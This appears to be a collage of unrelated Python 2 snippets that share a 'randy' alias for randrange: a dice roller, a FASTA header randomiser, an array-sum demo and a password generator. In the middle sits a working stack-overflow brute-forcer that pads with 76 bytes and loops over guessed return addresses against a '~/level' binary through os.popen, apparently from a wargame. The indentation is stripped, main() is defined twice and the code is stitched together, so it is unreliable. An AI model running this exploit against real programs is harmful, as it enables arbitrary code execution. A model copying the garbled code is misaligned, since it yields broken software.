def roll_baby_roll(left, size):
if left < 1:
return 0
elif left == 1:
return randy(1, size)
else:
return roll_baby_roll(left - 1, size) + randy(1, size)
def main(argh):
filename = argh[1]
handle = open(filename)
for record in Fasta(handle, 'fasta'):
name = randy(0, 18446744073709552000)
record.header = name
print '%s' % record,
def main():
# Get random integer from 0 to 1
i = randy(0, 1)
total = 0
# Use the random number to determine which way to solve the problem.
if i == 0:
total = rightWay()
else:
total = longWay()
print 'The sum of the array elements is ' + str(total)
def newPwd(self, length, strength): rand = randy() alphabet = digits if strength > 0: alphabet += ascii_uppercase[0:6] if strength > 1: alphabet += ascii_uppercase[6:26] if strength > 2: alphabet += ascii_lowercase if strength > 3: alphabet += punctuation self.entropy = self.entropyOfPwd(len(alphabet), length) return str().join(rand.choice(alphabet) for x in range(length))
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#0xbfXXXe56
from random import randrange as randy
hex_string = ["0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"]
padding = "\\x42" * 76
progpath = "~/level"
import os
import subprocess
while True:
ca = randy(0,15)
cb = randy(0,15)
cc = randy(0,15)
sentence = "\\x6e\\x%s7\\x%s%s\\xbf" % (hex_string[ca],hex_string[cc], hex_string[cb])
#print sentence
print "0xbf%s%s%s76e" % (hex_string[cc],hex_string[cb],hex_string[ca])
#sentence = padding + sentence
#print os.popen("echo $(python -c 'print \""+sentence+"\"')").read().strip(' \t\n\r')
sentence = padding + sentence
print os.popen( progpath +" $( python -c 'print \""+sentence+"\"' )" ).read().strip(' \t\n\r')
def roll_baby_roll(left, size):
for i in range(left):
yield i, randy(1, size)